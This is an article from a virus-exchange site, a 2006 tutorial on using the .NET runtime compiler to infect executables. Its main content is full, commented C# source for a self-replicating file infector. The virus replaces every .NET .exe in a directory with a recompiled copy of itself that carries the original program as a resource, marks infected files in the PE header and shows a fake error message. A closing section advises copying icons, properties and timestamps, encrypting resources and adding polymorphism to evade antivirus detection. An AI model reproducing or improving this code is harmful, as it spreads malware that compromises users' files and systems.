Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Using the .NET runtime compiler for file infection

DiA
Electrical Ordered Freedom #1
August 2006

[Back to index] [Comments]

Intro

Hello and welcome to my second article on .NET and C#. Again I got bored of programming in C++. So, this is again a sidestep in the easy and simple world of .NET programming. In this tutorial I describe how to infect executables by using the .NET runtime compiler. Also I provide a workin source code with comments and ideas/hints how to make a real virus with this technique.

The main idea

When I played with the runtime compiler, I also checked out all the compiler options and parameters. Resource files (any kind, .jpg, .doc, .xxx) can be compiled within the source. And .NET provides a ResourceManager, wich makes reading resources in .NET files very easy. So the main idea is to compile the virus every time new when a victim was found, and the victim will be added as resource. Then on runtime, extract resource and run the host file. To act like this, the virus must have its own source, to compile. Since .NET executables (not abused) is like open source (use Reflector) we just don't really care.

My ideas, and what not worked

I got good ideas before I started coding this example virus, but it turned out that much don't work very well:

Source as String

I wanted to store the source code of the virus as string in the virus body. It was much much work, and not really worth it. You have to care that your source is compiled right (care for " as example), string max length (in source) is 2046 bytes.

Load host in memory

You can load a .NET assembly (a .exe for example), and invoke (execute) it in your current running application. This would be nice, cause you dont have to drop host on disk and run it. But it turned out that this technique is just fine for standalone application. Try to execute a application linked to .dll's or other needed files will cause problems or errors. Anyway, here is the source I tried, host file is in a byte array:

  //...
  Assembly HostAsm = Assembly.Load(HostArray); //byte array, .exe
  MethodInfo HostMethod = HostAsm.EntryPoint; //main
  HostMethod.Invoke(HostAsm.CreateInstance(HostMethod.Name), null); //execute
  //...
 

Check for infection

To not re-infect files, we have to check for infection. Good, as .NET have a ResourceManager, and the already infected files must have a resource named like we want it. Try to read a byte, if no error occours the file seems to be infected, error means no resource named like we have, means not infected. But somehow I can't close the resource stream when the host resource doesn't exist. And if the stream is still open, we can't delete the victim file (nor recompile it). It's mystic that .NET allow to open a not existing stream, but it's not able to close this stream. Anyway, improve!

How it can work

So, much don't work as I wanted, improve is the keyword. And improve means going simple, and use already known techniques. This is how the example virus works: The virus source is also in the binary as resource, and will be read and drop to disc when needed. But first the host is read from the resource stream, dropped to disc, and executed. After termination the temporary host will be deleted. Here goes the infection (source code is already on disc). The virus find all .exe files in current directory, copy that file to <filename>.res, delete original victim, and compile the virus source (in same directory) to the .exe name of the victim. On compiling it add's the host binary and the virus source as resource. After compilation the virus writes it's infection marker in the PE header. If something goes wrong the temp resource file is copied back, to leave host uninfected. Before infecting the virus also checks if the found .exe is a .NET application and if the victim is already infected, by checking 4 bytes in the PE header (WIN32_VERSION). For more details please check the source code in the next section, there are also comments for helping you to understand what I mean.

Working source code

using System;
using System.IO;
using System.Reflection;
using System.CodeDom.Compiler;
using Microsoft.CSharp;
using System.Resources;
using System.Diagnostics;
using System.Windows.Forms; //namespaces we use in this virus

namespace Biskin //our namespace
{
        class DiA //we use just this one class, simple virus
        {
                static void Main(string[] args) //our entry point
                {
                        byte[] Marker = {0x42, 0x53, 0x4B, 0x69}; //"BSKi", our infection marker to prevent re-infection

                        string SourceName = ""; //here we store the extracted source code, we define it here because we handle it in more try/catch then one
                        Random RanNumber = new Random(DateTime.Now.Millisecond); //to generate random number, user current millisecond as seed
                        Assembly ThisAsm = Assembly.GetExecutingAssembly(); //the own assembly, to extract the resources (host & source)
                       
                        try //we use some try/catch blocks in this virus, error handling in c# is nice
                        {
                                Stream ResStream = ThisAsm.GetManifestResourceStream("host.bin"); //get the stream for the resource "host.bin"
                                                               
                                string HostName = RanNumber.Next(99999).ToString() + ".scr"; //generate a temporary host name, just andom number and .scr extension
                                FileStream HostTemp = new FileStream(HostName, FileMode.CreateNew, FileAccess.Write); //filestream to write from resource to file

                                for(int i = 0; i < ResStream.Length; i++) //write byte by byte until we reach end of file
                                {
                                        HostTemp.WriteByte(Convert.ToByte(ResStream.ReadByte())); //read byte from stream and write it to file
                                }

                                HostTemp.Close(); //close file stream
                                ResStream.Close(); //close resource stream
                                File.SetAttributes(HostName, FileAttributes.Hidden); //set the temp host to hidden

                                string HostParameters = " "; //to store host's parameter, drag and drop or called via command line
                               
                                for(int i = 0; i < args.Length; i++) //for each argument (parameter) given to the virus
                                {
                                        HostParameters += args[i] + " "; //append it to string and put a space between
                                }

                                Process.Start(HostName + HostParameters).WaitForExit(); //start temporary host and wait for it's termination
                                File.Delete(HostName); //after termination, delete the temporary host
                        }
                        catch //error on reading resource or write/run temp host
                        {
                                MessageBox.Show("Can't execute application", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); //show fake error then
                        }

                        try //try to extract source code
                        {
                                Stream SrcStream = ThisAsm.GetManifestResourceStream("biskin.src"); //get stream to resource
                                SourceName = RanNumber.Next(99999).ToString() + ".cs"; //create temporary source file name, random number

                                FileStream SourceTemp = new FileStream(SourceName, FileMode.CreateNew, FileAccess.Write); //open filestream for write source to disk

                                for(int i = 0; i < SrcStream.Length; i++) //write byte by byte
                                {
                                        SourceTemp.WriteByte(Convert.ToByte(SrcStream.ReadByte())); //read byte from resource and write it to file
                                }

                                SourceTemp.Close(); //close file stream
                                SrcStream.Close(); //close resource stream
                        }
                        catch //error on reading/writing source code
                        {
                                Application.Exit(); //no source, no infection is possible, exit virus
                        }

                        string[] Files = Directory.GetFiles(Directory.GetCurrentDirectory(), "*.exe"); //get all .exe files in current directory

                        foreach(string Victim in Files) //for loop all files in the array
                        {
                                try{AssemblyName.GetAssemblyName(Victim);} //easy way to check if founded file is a .NET
                                catch{continue;} //if no .NET executable, try next file

                                byte[] IsMarker = new byte[4]; //array where we read the marker
                                FileStream VictimFile = new FileStream(Victim, FileMode.Open, FileAccess.Read); //open potential vicitm for read

                                for(int i = 0; i < 136; i++) //skip first bytes
                                {
                                        VictimFile.ReadByte(); //by reading bytes to nothing
                                }

                                VictimFile.Read(IsMarker, 0, Marker.Length); //read now 4 bytes to array
                                VictimFile.Close(); //and close file stream

                                //check if readed bytes are our infection marker, if so try next file
                                if(IsMarker[0] == Marker[0] && IsMarker[1] == Marker[1] && IsMarker[2] == Marker[2] && IsMarker[3] == Marker[3]) continue;

                                string ResourceFile = Victim.Remove(Victim.Length - 3, 3) + "res"; //create temp file name for the host resource

                                File.Copy(Victim, ResourceFile); //copy uninfected host to temporary file
                                File.SetAttributes(ResourceFile, FileAttributes.Hidden); //and set it to hidden

                                try{File.Delete(Victim);} //try to delete the victim
                                catch
                                {
                                        File.Delete(ResourceFile); //if it still run, delete temp resource file
                                        continue; //and leave it uninfected
                                }

                                try //action! try to compile virus source with source and host binary as resource
                                {
                                        ICodeCompiler Compiler = new CSharpCodeProvider().CreateCompiler(); //create compiler
                                        CompilerParameters Parameter = new CompilerParameters(); //and it's parameters

                                        Parameter.GenerateExecutable = true; //we want to create a exe, sure
                                        Parameter.MainClass = "Biskin.DiA"; //the main class, we are now in it
                                        Parameter.OutputAssembly = Victim; //compile output, the victim name (we deleted it already)
                                        //some raw compiler commands, optimize output, make windows application (no command prompt shit)
                                        //and add via "/resource" the host binary (we copy it before) and the virus source (we extracted it before)
                                        Parameter.CompilerOptions = "/optimize /target:winexe /resource:" + ResourceFile + ",host.bin /resource:" + SourceName + ",biskin.src";

                                        foreach(Assembly Asm in AppDomain.CurrentDomain.GetAssemblies()) //lazy style
                                        {
                                                Parameter.ReferencedAssemblies.Add(Asm.Location); //just reference all assemblies we found, so we are sure our virus has all to compile
                                        }

                                        if(Compiler.CompileAssemblyFromFile(Parameter, SourceName).Errors.Count == 0) //compile! and check if no compile errors
                                        {
                                                VictimFile = new FileStream(Victim, FileMode.Open, FileAccess.ReadWrite); //open the freshly compiled executable

                                                for(int i = 0; i < 136; i++) //skip first bytes
                                                {
                                                        VictimFile.ReadByte(); //by read bytes to nothing
                                                }

                                                VictimFile.Write(Marker, 0, Marker.Length); //then write our infection marker to WIN32_VERSION in the PE header (unused space)
                                                VictimFile.Close(); //close file stream
                                        }
                                        else //argh, compiler error
                                        {
                                                File.Copy(ResourceFile, Victim); //copy resource file back to real name, and leave it uninfected
                                        }

                                        File.Delete(ResourceFile); //delete reosurce file and handle next file
                                }
                                catch{} //any error is redirected here, just do nothing
                        }

                        try{File.Delete(SourceName);} //try to delete source file, should work
                        catch{File.SetAttributes(SourceName, FileAttributes.Hidden);} //if it's still in use just set it to hidden
                }
        }
} //done.
 

Make it strong, further ideas

Sure, the provided source code is just a proof of concept, and not done to stay in the wild or anything like that. Here are some add's you have to make if you want make this virus (or your virus) a good one:

Where is my icon?

The icon of the compiled virus (within host) is the default windows application icon, cause we didn't give the compiler any icon. To prevent this, just extract the icon from the potential victim (google hint: Code Corner - Tools - Icon Browser), and give it as compiler parameter "/win32icon:filename". After that delete the extracted icon.

And all is fine.

And where are my file properties?

Also the compiled file don't have any properties, such as Name, Copyright, Trademark, etc. This is also very simple issue, properties of the file can be read like this:

    //...
    foreach(object Attribute in Assembly.LoadFrom("Victim.exe").GetCustomAttributes(false)) //check all attributes
    {
        AssemblyCopyrightAttribute Copyleft = Attribute as AssemblyCopyrightAttribute; //as copyright attribute, as example
       
        if(Copyleft != null) //found copyright attribute?
        {
                string OldCopyright = Copyleft.Copyright; //the copyright to string
        }
    } //others can be read in the same way
    //...

    Then write in the virus source (after used namespaces, before own namespace) this
    (don't foget namespaces System.Reflection and System.Runtime.CompilerServices):

    //...
    [assembly: AssemblyCopyright(OldCopyright)]
    //...

Other assembly informations are AssemblyTitle, AssemblyDescription, AssemblyConfiguration, AssemblyCompany, AssemblyProduct, AssemblyTrademark, AssemblyCulture.

Filetime?

Also take care for filetime, read filetime of potential victim and set it after compilation again. Easy, huh?

Detected in < 1min?

This is not a hard take for AV people, cause the plain source is stored. So a good idea is to encrypt the source code resource. Maybe also with a changing key. .NET provides also encryption classes like DES or even TripleDES. Also you can encrypt the host resource, so it can't be easiely cut out of the virus and be restored.

More More More!

Now it's on you, imagin you are at source level, so polymorphism is not a hard take, also adding garbage is a good idea. Encrypt strings, split source to 100s classes, etc etc. Use your brain.

Outro

Hope you liked this article and the idea how to use the .NET runtime compiler for file infection. If you do anything in this way, let me know, [email protected]

Next time friends, bye.

DiA/RRLF - 23.08.2006
[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxheaven.org aka vx.netlux.org
deenesitfrplruua